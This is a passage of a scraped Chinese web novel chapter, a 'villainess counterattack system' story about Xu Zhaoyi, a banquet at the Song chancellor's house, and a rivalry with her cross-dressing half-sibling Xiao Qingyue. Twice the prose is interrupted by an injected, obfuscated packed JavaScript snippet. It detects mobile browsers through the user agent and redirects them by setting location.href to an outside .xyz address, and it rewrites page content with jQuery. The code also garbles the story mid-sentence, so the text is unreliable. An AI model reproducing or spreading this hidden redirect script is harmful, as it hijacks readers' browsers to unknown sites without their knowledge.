主屋里,徐昭意已经在花尽的服侍下换好衣服了。她打眼瞧着不太开心的凝露,温柔笑道:“怎么又不开心了?” 凝露将扫帚放在门边,这才走进来,握拳嘟囔:“以前她们哪敢这般咋呼,还不是瞧着冯嬷嬷不在,故意作弄娘子呢!” 她越说越气,忽而眼冒凶光:“要不奴婢去打她们一顿?” 凝露自小习武,是已逝梅夫人留给徐昭意防身用的。所以哪怕冯嬷嬷再看不惯她的跳脱,全府上下再听不惯她的尖嘴,也没人敢管教她。 她只听徐昭意一人的话。 徐昭意轻叹一声,有些无奈地点点凝露的额头,“你觉着要是没有我惯着,她们会这般放肆吗?” 凝露一呆,忽觉几分道理。 别看娘子平日里不声不响的,有时候露出来的眼神连她都害怕。可府里一直在私下传言说娘子瘆人,娘子也没真管过,都是她和冯嬷嬷平日里看不惯了,才出手管教一二。 “她们活得不易,也没必要日夜戴枷锁了。” 徐昭意有时会想,若没那么幸运成为阿娘的女儿,转而投生成了农家女,她还能从容活到现在吗? 这么一想,那些语言上的冒犯便不放在心上了。 眼看着凝露还是那副炸毛模样,徐昭意便知晓她明显没听明白,还以为自己是软包子一个。 她笑了笑,觉着凝露这样也挺好的,便对一旁露出怔然目光的花尽道:“今年的红封便由你来发吧?” 见花尽怔怔点头,她招来凝露,两人一同去了青鹿苑。 青鹿苑的婢女这次没拦着两人,她们一路往内,就见到一个窝在摇椅里的美人,清晨光线洒在润红唇畔上,显出别样的光泽来。 “阿姐。”徐昭意打破宁静,露出柔笑,“这是宋相家送来的拜帖,昭意想与阿姐一同前往。” 面前美人神色微凝,无端泄出一丝冷意。 “宋相?”他莫名笑了。 就在徐昭意以为他不会答应时,他抚过腕间银镯,又转瞬应下。 “多谢阿妹了。”他的语气意味深长,“这样的好事,也难为阿妹还想着我。” 徐昭意掐着掌心,面上却笑得愈发乖巧,“阿姐是昭意除了父亲外,唯一的亲人了,阿妹自要对阿姐好。” 这般说着,她似是想起了什么:“阿妹上次送阿姐的金银花,阿姐在用吗?阿妹昨日试了下,效果还不错,刚好可以治阿姐的嗓子。” “在用,阿妹用心了,效果很好。”面前美人笑容不变,面色愈发和熙,仿佛初见时的冷漠只是错觉。 他收袖捻茶盏,专注望着徐昭意,将茶盏递给她,“辛苦阿妹走这一趟了,来喝口温茶吧。” 徐昭意敛眉扫过清茶,袅袅雾气上飘,倒不见什么异样。 她笑着伸手,却在茶盏入手那刻,眉梢不自觉轻扬。 这哪里是什么温茶?这是滚茶! 她瞥过掌心的红印,面不改色垂首轻抿,柔嫩唇畔烫出盈盈绯色,笑容愈发真挚,“阿姐手艺真好。” “比不得阿妹晾晒金银花的手艺。”萧青越瞥过她一眼,“温茶也算不得什么,我再送阿妹一个小玩意儿吧。” 说罢,他从袖中掏出一包油纸,精准无误地扔进徐昭意怀里,随即继续闭目窝在摇椅里。 分量不轻的油纸包砸进徐昭意的掌心,正中烫伤红印。她不由得轻嘶一声,又倏忽忍住,冲面前人盈盈笑道:“多谢阿姐赠礼。阿妹已经叨扰阿姐许久了,便先行告退了。” 她没等面前人回答,便扶着凝露款款离开青鹿苑。待走出一段距离后,她看了眼手心红印,又漫不经心打开油纸包。 那个女人也只会在这些事情上耍花招了,待到了赏花宴,还不知道怎么出丑,届时还得靠她救场…… 她忽然怔住。 油纸包里赫然装着成色上佳的清凉膏,可以缓解手心烫伤。 这算什么?打一棒子给个甜枣? 徐昭意骤然攥紧油纸包,掌心生疼却莫名笑起来。 她突然对下午的赏花宴产生期待了。 这个女人不是角儿么,希望这角儿演的戏不要让她失望。 * 两人再次见面,便是在宋相府前。徐国公知晓两人不和,特意准备两辆马车送人。 徐昭意比阿姐早到,她刚一下马车,卢平丹便跟个小炮仗似地冲过来,一把抱住她。 “听说你那个姐姐也来了?”她语带厌恶,“真是晦气。” 徐昭意拍拍她的肩,柔声道:“我之前怎么与你说的?父之过,勿牵连于子。阿姐是无辜的。” 卢平丹哼哼两声,忽而扯过徐昭意的袖子,嬉笑道:“咱们不聊这丧气东西了,快走吧快走吧,再不走,宋姐姐该等急了!” 徐昭意顺着卢平丹的力度往前走着,忽而感觉到一股熟悉的视线划过后颈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749898|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她微笑转头,“昭意竟与阿姐同时间到来,可真巧呀。” 面前人瞥她一眼,懒洋洋点头,没有停顿径自进府。 也没有人上前引路,也不知他在乱走什么。 哪怕是戏台子上的角儿,离了有人的台子,便也显得索然无味。 徐昭意骤然失了兴趣,却也没表现出来,只微笑着看他越走越偏,远离花宴方向,也不出声提醒。 待那人没了影子,她这才拍拍卢平丹的手心,眨眼道:“别生气啦,我只是给她打个招呼而已。” 卢平丹满身刺毛顺了大半,哼唧道:“勉勉强强还不错吧。” 恰逢宋大娘子,也是此次花宴的主人公来到府邸门口,她们俩便随着众莺燕进了梅园。 宋府梅园多病梅,其枝虬曲,花开零星,瓣薄色淡,香气也近似无。 “这是请了陈大师打造的梅园,病梅姿态各异,无人不赏其态……”宋大娘子娓娓道来,众娘子含笑聆听,倒是一副宾尽主欢的局面。 徐昭意漫不经心听着,余光扫过所有娘子。 那个女人还真没来。 “徐娘子,听闻国公府也有片白梅林,色皎皎而态铮铮,乃国公夫人亲手栽培的仙鹤之姿,寻常人等不能见,这传闻可真?”宋二娘子忽而打断堂姐的话,转头笑眯眯看向徐昭意。 徐昭意无奈抬头,前方是宋大娘子的惊讶神色,四面八方是无数其他娘子或好奇或怜悯的姿态。 她勾唇,话音在舌尖滚落一圈,倏忽变成:“有是有,倒也不是寻常人等不能见,现在在阿姐所居的青鹿苑内。” 此话一出,在场众人神色各异。消息灵通的娘子目露同情,消息闭塞的娘子面带茫然。 “这是怎么一回事?” “徐国公立功回京后,还带了个外室女回府。要知道徐国公可曾在梅相面前立誓,一世只娶梅夫人一人的!” “徐国公确实只娶了梅夫人一人......” 姑娘们用气音交谈,声轻而软,若绒絮抚过耳侧,激起细细麻麻的不适感。 徐昭意掩唇一笑,落落解释:“阿姐也不算突然而至,母亲早知阿姐消息,只苦于身体无法亲至阴山探望。现下父亲归京将阿姐接来,也算圆了我一家的团圆梦。” 宋大娘子轻咳一声,笑着打圆场:“这倒也是一桩佳话,恭喜徐妹妹阖家团圆。” 徐昭意忍下心底恶心,面上笑得愈发得体:“昭意在此谢过宋姐姐了。” 宋大娘子与徐二娘子皆是贵女圈响当当的人物,她二人一开口,这事也算结束了。 可偏偏有人不识趣。 “徐大娘子可来了赏花宴?怎不出来见见人呢?”宋二娘子笑容可掬。 “可是迷路了吧。”徐昭意压下卢平丹的手,朝众人歉意一笑,“原是我的不是,竟忘了阿姐是头一遭来宋府,合该时时陪着才是,倒叫她落了单。你们且先玩着,我这就去寻她,总不能因我们姐妹俩扫了大家的兴。” 宋大娘子攥紧锦帕,不动声色瞪了眼还欲再说的宋二娘子,盈盈笑道:“徐妹妹哪里的话,姐妹们一处玩才尽兴,怎能说扫兴呢?咱们在这处慢慢赏玩,徐妹妹赶紧去寻姐姐吧。” 徐昭意朝众人盈盈一拜,叫凝露跟着卢平丹,这才步履轻缓转身离去。 她慢悠悠走着,原也不准备寻人,可不自觉走到一处僻静地时,却意外听见一道熟悉的清润嗓音,自前边水亭传来。 “徐大娘子?” 她躲于花树后望去,却见男的温雅清俊,女的霸气妖艳,两人正在水亭深情对望。 除去男比女还矮的身高,真真是再合适不过的一对眷侣。 萧清恒似是羞涩,勉强轻咳:“我是二皇子......” 笑得如沐春风:“徐大娘子真是百闻不如一见。” “久仰二殿下大名。”那个女人转着腕间银镯,也笑得甜蜜。 萧青恒瞬间红脸,嗫嚅着不知在说些什么。 徐昭意躲在树后,死死盯着萧青恒通红的面颊,以及慌乱躲闪的狗狗眼,气得眼前发昏。 昨夜信鸽带来的虽是问话,可她哪时拒绝过他的要求? 本着两人间最基础的信任,她照做了。 但萧青恒就是这么对她的。 哪怕含着利用心思,她对萧青恒也是存了几分真情的。如今的场面狠狠打在她脸上,让她这么久的努力成了一场笑话。 她的呼吸徒然紧促起来。 几日来的思虑紧紧缠绕她,逐渐收紧、收紧,心脏骤然一痛,眼前渐渐发黑,身体不断向后倾斜…… “叮!察觉到宿主性命危急,对照组女配逆袭系统激活启动!” 4. 绑定系统 那道古怪声音又在耳旁响起,徐昭意猛然睁开眼,趔趄着往前走一步稳住身形,左右四顾却没见到半片衣角。 寒风呼啸而过,她的动静带动些许流波,传到相持不下的有情人耳边。 望着二人齐刷刷看来的眼眸,徐昭意有一阵恍惚。 乍一看实在太像,细看又截然不同。 真神奇。 “昭意!”萧青恒下意识唤了她一声,下一秒,他的耳尖便烧辣辣地疼。 徐昭意看着满脸惶恐的萧青恒,掌心攥得忒疼,可开口却是平稳的:“殿下与阿姐好聊。” 她甚至端庄地福了一礼,后颈曲折的弧度都恰到好处。 重复着这一遍烂熟于心的礼仪,徐昭意端着转身,莲步轻移,背影也格外飘逸秀美。 待两人看不见后,她顿下步子,抬手接过一滴露珠。 晶莹莹的,惹人疼惜。 下一秒,秀美指尖戳破露珠,化为一滩虚无。 “......方才传输中断,系统持续觉醒中,还请宿主稍安勿躁......” “你到底是个什么邪物!”徐昭意压着心口郁气,沉冷开口。 “三、二、一,宿主即将觉醒前世记忆......” 见那妖孽自说自话,徐昭意眉眼一厉,拔下发间步摇正准备划破掌心取血,不料整个身子徒然僵住,再也无法动弹。 她狠咬下唇,在血珠出来前,面前忽而闪过一道白光。 她掉入了一个四四方方的白房子里,周围都是一些她看不懂的奇形怪物,最显眼的是一个浑圆的铁皮箱子,上面还安了两个硕大的红眼睛。 乍然间,红眼睛突然冒光,几根触手似的东西飞舞到身旁,强硬地按住她的脑袋。 徐昭意脑中剧痛,无数花白片段绽放,蛮横又齐全地弥补着她的空白。 这才想起来,她是高考出分前夕穿越而来的准大学生,是刚成年能接手父母遗产的准霸总,也是自小患有严重心脏病的ICU常客。 临死前有个自称系统的家伙找到她,说她先天灵窍有损,哪怕转世也无法健康生活。 那神叨叨的东西说到这儿,话锋一转,又说它可以给她的来世一副健康躯体,前提是帮它修复一篇烂尾文。 徐昭意从小只吃过生病的苦,很想知道健康躯体是什么滋味,于是她就同意了。 可偏偏系统在传输时出了差错,她一直在这篇烂尾文里长到十五岁,这才觉醒前世记忆。 系统偷偷瞥了眼徐昭意,元件内电流涌动。 它本来想让徐昭意辅助女主改变剧情的,哪成想出了这么大个乱子,她竟跟原文女配长成了一般模样! 系统感觉自己烧得脑壳痛。 前世的记忆干燥又无味,徐昭意扫了眼走马观花的播放片段,便收回目光,闭眼道:“说吧,怎么修复世界?” “你平时看小说吗?”系统顶着徐昭意冷漠的目光,恍然大悟,“也是,你平日课业繁忙,哪里有时间看小说?” 这毕竟是高考考了......“宿主你想知道你最后考了多少分吗?” “700分。” 系统波动的频率停了一瞬:“你怎么知道的!” 徐昭意懒得理它,她正因系统方才的强制手段而不爽,闻言也没什么好气,“怎么修复世界?” 系统不敢作妖,老老实实回答:“帮助男女主修补烂尾片段。” 徐昭意皱眉,“没有别的办法吗?” 系统沉默一瞬,转而道:“宿主还不知道原剧情吧?我把原剧情发给你。” 徐昭意可有可无点点头。 下一秒,一本闪着金光的书出现在她眼前。一行行字化为流水,柔柔环绕她。 这本书设定在一个战乱不休的世界里。这个世界云王朝与青汗国并立,云王朝多为汉人,青汗国多为胡人。两朝征战不止,直到云王朝打赢阴山战役,威逼青汗国结成阴山同盟,这才和平了一段时日。 本书剧情就开展在这段和平时日里。 女主作为云王朝战神——徐国公的私生女,自小颠沛流离,靠武力走镖维持生计。这样的日子持续到她救下一个失忆的俊美男人。 她救下人的第一反应是藏进屋子里,衣不解带地照顾一个陌生男人。在她感动上天的举措下,重伤的男人奇迹般地苏醒了,男女主一见钟情,迅速举办了简易婚礼。 可好景不长,男主的下属没多久找到他,并刺激男主恢复了记忆。原来男主竟是镇守边疆的云王朝太子! 男主虽说是太子,可他一不得父皇喜爱,二又功高震主,三还是敌国的眼中钉、肉中刺。恢复记忆的男主于是忍痛冷待女主,正准备将女主送回家时,却一不小心见到了女主珍藏的玉佩。 那是徐国公府的信物!于是女主摇身一变成贵女,还在男主的护送途中,识破男主真心,并暗戳戳决定回京为男主谋取势力。 可惜在京生活并不顺利,父亲除她之外,还有一个与她对照的绿茶妹妹。妹妹不满父亲宠爱被分,处处刁难诋毁女主,还在女主归来的第一天,给女主下毒。但因手段拙劣,被女主一眼识破。 徐昭意:......那她今天早上还说那金银花不错。 普通的闺阁生活困不住女主,女主在与妹妹的斗智斗勇中收割了无数青年才俊的忠心。 这听上去是个励志故事,可实际上是个披着权谋外衣的万人迷文。 女主逛诗楼、闯花宴,出口成章又落落大方,不用她勾手指,那些优质男配便接二连三扑上来,她也成功留下无数名句。 “我只把他当弟弟。” “我只把他当暗卫。” “我只把他当知己。” 就这样,她靠着这些才俊辅佐太子共谋大事,最终太子杀回京城,立女主为后,二人幸福快乐地生活在一起,还生了一连串的葫芦娃。 “所以太子做了什么事情吗?”徐昭意不解,虽说她看不惯那个女人,但根据系统提供的剧情来看,太子男主明显是个吃软饭的。 “这本是女主视角的小说,男主是暗中办大事,读者当然看不到男主付出的努力呀!”系统气急。 徐昭意了然,说白了还是软饭男。 她又问:“那我和周边人的下场呢?” “你是被囚后宫磋磨致死,你周边人的结局,书里没写,但肯定也不太好。”系统语调活泼,“所以宿主,咱们就去帮男女主修结尾吧?其余方法太危险了,稍有不慎就会沦落到前世结局......” 若是徐昭意带着记忆穿越,说不准就答应系统这个请求了。可她穿越时偏偏失去了记忆,被当成原主养了十五年。可以说,她在某种意义上就是原女配。 那个所谓的庶姐女主和太子男主都让她不喜,她不可能帮他们。 “所以就是有别的方法?”徐昭意似笑非笑。 系统长叹一声,只好道:“第二条路是抢夺男女主资源,把男女主拉下神坛,换男二和女二上位。男二是二皇子哦!” 系统音微沉:“这个小说世界的数据一直异常,每每到男女主喜结连理、共治天下时,这个小世界便会彻底崩塌。此世界已重置数次,再经不起一点折腾,宿主你只有这一次机会。” 看着徐昭意毫无波动的黑眸,它咬咬牙又补充道:“你若完美完成这次任务,我还能安排你去现生再活一次,你仔细考虑。” 她的现生亲缘淡薄,除了还没到手的公司,没什么值得她挂念的。而在这个架空世界里,她却收获过很多意料之外的温暖。 若不是看在那些温暖的份上,徐昭意压根儿不准备帮系统。毕竟她这一世的身体也没比前世好哪去,她又不是慈善家,被选中就一定要帮忙。 现在的生活很好,除了女主这个阻碍外,基本没什么烦心事儿。 “我选第二条路。”徐昭意毫不犹豫。 叮一声响,最开始那道冷酷无情的机械声又唰地响起。 【顺应宿主号召,现开启对照组女配逆袭系统之杀气线】 【主要任务:夺取男女主资源,扶持男二上位。进度条:0%】 眼看第一条路无望,系统音努力使语气变得慷慨激昂:“那咱们要做的,就是脚踩男女主,让男二女二支棱起来!” 徐昭意蹙眉:“一定要换男二上位吗?” 她好歹与二皇子相处了十几年,他用那软包子德行跟他在战场厮杀回来的大哥抢皇位? 虽说太子在她眼里也有点像吃软饭的,但好歹比二皇子更有能力软饭硬吃。 “这不是还有你吗?”那破机械音硬生生挤出几分讨好来,“有我的剧透,加你的聪明才智,咱们还怕搞不过男女主?” “至于男二......”系统语带不屑,“他的软包性格不正适合你吗?待你扶持他登上皇位,这天下权力再掌握在谁手中,那可不好说了。” 这一点完美打动徐昭意。 在没觉醒记忆前,徐昭意向二皇子献殷勤也是基于这一点。她不想重蹈阿娘的覆辙,便给自己挑了个软包夫君,想着以后慢慢调教。 谁知被个半路杀出来的庶姐拦截了。 徐昭意无论心底还有没有对二皇子的情谊,都对两人恨得牙痒痒。 系统趁热打铁又加了句:“现在一切剧情都还没开始,眼下正有个关键节点需要宿主改变。” “说。” “女主获得的第一个裙下之臣就是二皇子,但此时的二皇子还是念着女配的。那该怎么让他成为女主的裙下之臣呢?” 系统用它那冷淡的声音继续抑扬顿挫:“在这场宴会里,有一个出场一次的恶毒女配给二皇子下了药,试图霸王硬上弓,可惜被女主捡了漏。” 徐昭意脑海里莫名浮现那个女人与二皇子的身高差。 霸王硬上弓,好微妙的词。 “所以......”徐昭意艰难问着,“咱们现在是去解救二......阿姐?” 系统沉默一瞬:“是这样的。” 还没等徐昭意反应过来,那道冷酷无情的机械声又响起。 【随机任务:阻止女主跟二皇子春风一度,为期一天。进度条:0%】 一道白光闪过,徐昭意望着眼前的美丽梅林,发现自己又回来了。或许是身体不好,刚回来时,她的心脏还隐隐作痛。 她垂下眼帘,抚上心口问道:“还有时间限制?” “具体情况具体分析。”系统谨慎回答。 徐昭意微叹口气,她垂眸抚着自己的华丽锦袖,触感柔软又保暖,是难 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她记着文小娘子虽说惯爱研究旁门左道,却是个任人欺负的软包子。 今日她来了吗? “你知道是谁下的药吗?”她又问系统。 系统沉默,它是初版系统,功能还不太完善,只知道主线剧情。 徐昭意压下心中无奈,扫过捂唇笑的宋二娘子,冷不丁道:“我常见宋妹妹身边跟着文妹妹,今日怎么不见文妹妹?” 宋二娘子不接招,戏谑视线扫过徐昭意:“徐二姐姐身边不也没跟着徐大姐姐吗?” 她着重强调了一个“二”字。 方才一直遮掩的话题冷不丁被人戳破,众娘子面面相觑,都有些尴尬。 徐昭意眼含艳羡:“说来宋二妹妹真是好福气,自小有宋姐姐这般能干的人护着,从不用操心闲事。我便没这福气了。阿姐到底初来京城,我虽愚钝,少不得也要帮着打点些琐事,真真是偷不得半点浮闲。” 几声轻笑刹那响起,又消散于人群中,寻不到半点踪迹。 宋二娘子瞪眼,气得半响没话。 谁人不知她宋二被堂姐处处压一头?平日里大家都尽量让着她,不提这些东西。这徐二倒好,上来就戳她的心窝子! 徐昭意冷眼看着这一切,忽而觉着没意思。她挽过一旁无聊发呆的卢平丹,笑吟吟告歉:“今日打搅大家的赏梅雅兴了,昭意在此给大家致歉。现下我与卢姐姐有些私事要忙,便先行告退了。” 众娘子一听,纷纷给她让路。 徐昭意瞧也没瞧宋二娘子,正准备走时,宋二娘子忽而轻声道:“你很得意是吗?” 她笑得诡异:“你很快就笑不出来了。” 徐昭意心底有几分猜想,便懒得离她,离去的姿态照旧优雅得体。 待远离梅园时,她瞧过一旁明显歇了口气的卢平丹,笑问道:“你可知文小娘子去哪里了?” 卢平丹上学堂时都没那么认真过,她苦思冥想、抓耳挠腮,终于在徐昭意期待的目光下点了点西南方向......后又点了点东南方向。 “我只隐约记得这两个方向了。”卢平丹心虚道。 徐昭意又看向凝露和她身边的卢家婢女小舟,两人也纷纷移开眼。 她不由抚上胸口,吐出浑气,“走吧,两个方向都看看。” * 东南方向有片客舍,周遭被松树和竹林包裹着。因着宋相府往来多为鸿儒,便常年清扫备用。 徐昭意一行人到来时,客舍还静悄悄的,连个婢女也无。 她心生疑窦,便叫凝露去挨个敲门。 按理说宋相府的客舍或多或少都会住人,只是每日住的人多人少罢了。可今日却怪哉,挨个门敲下来,连个回音也无。 无婢女又无人住,一般都是事发地。 徐昭意扫过卢平丹跃跃欲试的神情,纤细指尖靠在唇中央,笑眯眯比了个嘘声。 卢平丹眨眼捂唇,大阔步跟上凝露。 四人分散行动,挨个屋子打开翻查,以防漏网之鱼。 日已近黄昏,眼看着就要离府,找人之事却无半点进展。 徐昭意不由蹙眉,总觉得哪里不对。 若是女配已经得逞,断不会是这般风平浪静的场景。 正思索间,凝露突然慌张上前,凑耳道:“娘子,有大群人来这边了!” 熟悉的宅斗味儿复现,徐昭意却不着急,甚至有心情笑了下。 若是她没猜错的话,人应该快找到了。 果不其然,卢平丹那边没多久就传来一声:“找到文小娘子和......” 后面半截话,徐昭意没太听清。虽说按理是找到女主姐姐和二皇子,但文中难免有照顾不到的地方,出现文小娘子也在房内,那也并不奇怪。 此间房门已开,她正准备踏出去时,耳旁忽而传来一阵呜咽声。 下意识觉着不对,徐昭意缓步朝声源地走去,却发现青纱帐下赫然是被捆住双手、堵住嘴巴的萧青恒! 他此刻死死盯着她,严格来说,是盯着她身后的某处空气。 那里逐渐炽热。 5. 讨厌的人 徐昭意迟缓转头,刚对上一对瑰丽到惑人的眼珠,周身便猛地腾空,耳旁传来凝露的大喊。 “青鹿苑那位,你准备带娘子往哪里去!” 艳丽裙角带起的风声呼啸,呼啦啦似刀绞。 徐昭意受不得寒风,此刻缩在那个女人怀里,死死盯着那对逐渐染红的琥珀色眼珠,冷声道:“你准备带我去哪儿?” 萧青越模糊低头,只觉得怀里人声若飘絮,轻得发痒却听不太清。 抱着腰身的手逐渐环紧,他汲取着怀中凉意,哑声道:“宋相府的厨房在何处?” 徐昭意呛了几口冷气,恹得愈发窝在他的怀里,脑袋枕着他的脖颈,虎牙将露未露,最终却只咬牙往西南边指了指。 随后便彻底埋进脖颈处,死活不肯再让脸受罪。 萧青越只觉得浑身的鸡皮疙瘩泛起,刺得头皮发麻。他咬牙加快步伐,努力忽视怀中令人不适的存在,起跃间终于到了地方。 他将她放在一棵大树下,替她调整好坐姿后,便疾步跃向厨房。 几声闷声后,哗啦啦的水声响起。 厨房后院有口水井,井边有常用的木桶,想必她就是在木桶里洗浴了。 徐昭意靠着树干喘息,郁郁看了厨房一眼。 她本想立时走人,可一想到里面那个怪胎竟然在厨房洗澡,为维护国公府名声,又不得不坐回原地,全当休息。 也罢,这次好歹确认了这位真是女人,只是不爱别人,尤其可能是她的触碰。 这也算是止住她的一个胡乱猜想了。 “我这算完成任务了吗?” 【进度条:50%】 【请再接再厉!】 冰冷的提示音刚落,系统美滋滋上线:“我方才更新任务系统去了,这版的还不错吧?它都会说自带祝福语了!” 徐昭意不想理它,半响后才又问道:“阿姐不是摆脱危机状态了吗?为什么进度条才显示任务完成一半?” “宿主这就不懂了吧?”为完成任务,特地把全网恋爱攻略都吸收的系统笑了。 “虽说你把女主救了,可在二皇子的心里这件事还没消。如果你不能把他心底的愧疚消掉,他会一直记挂着女主,然后移情别恋。” 徐昭意眼神一沉,语调森然:“移情别恋?” 她看向厨房:“那也得她有这个本事。” 话音刚落,水声戛然而止,房内发出窸窸窣窣的衣料摩擦声。 徐昭意垂下眼帘,面上又恢复熟悉的温软笑容。她乖巧站在树下,眼神殷切注视厨房。 这个女人不是不喜欢她触碰吗?那她偏要触碰! 萧青越一出来,浑身水汽未散,就见那柳絮似的少女盈盈立于树下,眸光闪亮盯着自己。 他莫名顿住脚步,面无表情地看回去。 “阿姐!”徐昭意笑得愈发甜,她小跑到那犹带水汽的人旁,伸出三根细白手指,悄悄扯袖,“咱们离开吧?” 萧青越垂眸看她,浅淡瞳孔无意识紧缩。 下一秒,他又不受控制地拽住她的手腕,克制地放下去。 这次手腕没青紫,只红了一圈,看起来有些狰狞。 徐昭意轻磨着腕间红痕,垂着眼睫,片刻后,纤长睫毛上沾了几丝水汽。 “我这么惹阿姐厌烦吗?我连自己辛辛苦苦晒的草药都送给了阿姐,阿姐还是不接受我吗?” 不提这事还好,她一提,他又想起母亲去世的原因。 体内强压的内力再一次翻涌,周身水汽被迅速蒸发,化为一片虚无。 药物来源还没调查清楚,他得主动接近她。更何况,她方才算是帮了他。 萧青越咽下口中的血腥气,掀起眼皮,目光如箭:“有事说事。” 言简意赅、冷漠绝情。 徐昭意掩下眸底寒芒,再抬眸时,眸底多了份小心翼翼。 “昭意还想要阿姐抱着飞......可以吗?” 她落寂咬唇,“我自小身子弱,从来没有方才那种体验。” 说罢小心抬眸,眸底似星光闪耀。 一般人见着她这般模样,只怕心都碎了,恨不得什么都捧到她面前,任由她挑选。 但她偏生遇上了萧青越。 他自小见惯了这种矫揉做派,对此不仅免疫,甚至可以说是深恶痛绝。 周遭忽然刮起风,冷飕飕的,丝丝缕缕没入衣领,爬上那片细腻肌肤。 她不禁打了个寒颤,凤眼圆瞪,死死盯着面前冷峻阴恹的人。 他步步向她走来,周遭气势愈发危险,琥珀色瞳孔甚至显现出一种诡异的漠然。 徐昭意不由想起送药的那个晚上,他擦过她下颚的炽热温度。 她下意识后退一步。 可他偏偏又进一步。 她只好又再退一步。 萧青越看着不断后退的人,心中燥意愈加。他一把揽住想跑人的腰,打横抱起、运功起步,再次飞跃起来。 徐昭意惊呼一声,冷风灌入肺,连着猛咳几声。 她感受到头顶的不耐视线,眼睫颤动,死死咬唇压下气息,却还是晃了下身子,不小心磕碰到了什么。 她下意识缩起身,脑海里却闪过一丝疑惑。 这个女人的胸,怎么忽软忽硬的? * 凝露赶跑一些闻声而来的人,身边只留下卢平丹及她的婢女小舟。 “冷水送进厢房了?”卢平丹瞥过相府婢女,对方自知府内丑闻,只讷讷应声。 她松了口气,转而看向另一间厢房,房内已然无人,只剩下凌乱的床褥,和形单影只的女子绣鞋。 面色一红,晦气转头,叫那婢女赶紧把自家娘子的鞋捡走,莫要放在此处丢人现眼。 那婢女赶忙应声,一会儿不见踪影,剩下三人面面相觑。 宋大娘子带着心腹丫鬟忙着安顿客人,一时半会儿来不了。宋相夫妇又在外头,偌大的宋相府邸,竟无人能理睬她们三人。 厢房内的水声有些大,小舟性子内敛温柔,此刻手足无措地站着,把脸都憋红了。 卢平丹和凝露好点,却也没好多少。 就在三人站立难安之时,一道破空声徒然降落。 下一秒,两道相拥的身影乍然出现在三人面前。 “昭意!” “娘子!” 萧青越看着抱成一团的几个姑娘,耳边是逐渐急促的水流声。 他那好弟弟正在里面洗浴,此刻听见他这好妹妹的声音,想必也是着急了。 他笑了笑,平生第一次主动善解人意开口:“宋大娘子想必是把你们忙忘了,我去催催她。” 说罢一个跃步,深色裙摆若纸伞铺开,又骤然收紧,转眼消失不见。 徐昭意转头,狐疑望着他消失的背影。 这个女人有这么好心? 卢平丹抱着徐昭意,怔怔看着萧青越离开的方向,咬牙切齿道:“你那位姐姐的武功竟然在我之上!” 徐昭意莫名想到自己那弱不经风的身子,肩不能扛、手不能提,比起这个女人来说,怕是差远了。 她莫名烦闷起来。 萧青越没一会儿便回来了,他落下时看了徐昭意一眼,下意识后退几步。 “再等等,人该来了。” 徐昭意咬唇,眼神雾蒙蒙的,看不真切。 卢平丹被他方才那手闪了眼,现在趴在徐昭意身后,有一搭没一搭地偷瞪萧青越。 徐昭意忍了又忍,最后还是没忍住,轻敲卢平丹的额头,嘟囔低语:“你这么关注她干什么?” 卢平丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749900|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏眼扑闪,嘟唇皱脸,好半天才低喃了一句:“她......有点像阿姐。” 徐昭意抿唇,情绪有刹那控制不住。 那个女人也配与卢姐姐相提并论? 卢大娘子曾是她最佩服、最向往成为的人。 她文韬武略,各方面碾压卢家年轻一辈,卢平丹的武功和徐昭意的练体术都是她教的。 因女儿格外优秀,三年前大战来临时,卢大将军不顾许夫人反对,顺着女儿心意偷偷将她带上战场。 这一去,便失去了一个年轻生命。 没想到如今出现一个有几分武力的人,就能与卢姐姐相像了。 徐昭意敛下神色,露出温软笑容:“平丹比往常眼尖,连这点相似都瞧出来了。可惜卢姐姐在我心里是独一无二的,未曾将她与旁人比量过,也没法子睹物思人了。” 徐昭意与卢平丹也不是自小交好,小时候的卢平丹不满阿姐被分,常常各种针对徐昭意。 徐昭意从未告过状,但卢大娘子总会察觉到这一切,然后不动声色教训皮猴似的卢平丹,再潜移默化教导她要爱护妹妹。 渐渐的,卢平丹不知何时起就把徐昭意当成了自己人,很多时候比卢大娘子还要照顾这个自小体弱的妹妹。 但她们依旧暗戳戳争夺卢大娘子,一直到卢大娘子逝世,这种争宠化为另一种难言的悲哀,再无人提及。 但两人的默契依旧保留下来了。 是以卢平丹刚嗅到这熟悉的味儿时,不经思考脱口而出:“谁说的,阿姐在我心底的分量不是旁的阿猫阿狗能比的!” 话音一出,空气近乎凝滞。 徐昭意感受到一股带着嘲讽意味的视线从身后刮过,她扫过投来求助目光的卢平丹,正准备打圆场时,一阵急促的脚步声响起。 宋大娘子带着心腹婢女匆匆跑来,气喘吁吁:“你们还好罢?” 徐昭意上前一步,浅笑道:“我们是还好的,可是......” 她柳眉微蹙,有些迟疑:“殿下他......还没出来。” 她说得含糊,可宋大娘子一下理解其意。 “你俩快进去服侍殿下!”宋大娘子急忙点了两个姿色还不错的婢女,叫她们掩门而入。 干完这些后,她瞧着徐昭意清凌凌的目光,愧疚道:“昭意妹妹,这次实在对不住了!她们......她们至少好拿捏。” 她暗指的是谁,大家心知肚明。 宋相府的老太君高寿健在,二房与大房便没分家,二房仗着老太君也占了大房不少好处。 可二房毕竟是嫡出的,虽说端贵妃出自大房,可平日里还是不大瞧得上庶出的大房,于是两房关系一向微妙,也影响了宫中娘娘的态度。 二房对此心知肚明,也怕万一哪天遇事,大房和娘娘不一定靠得住。 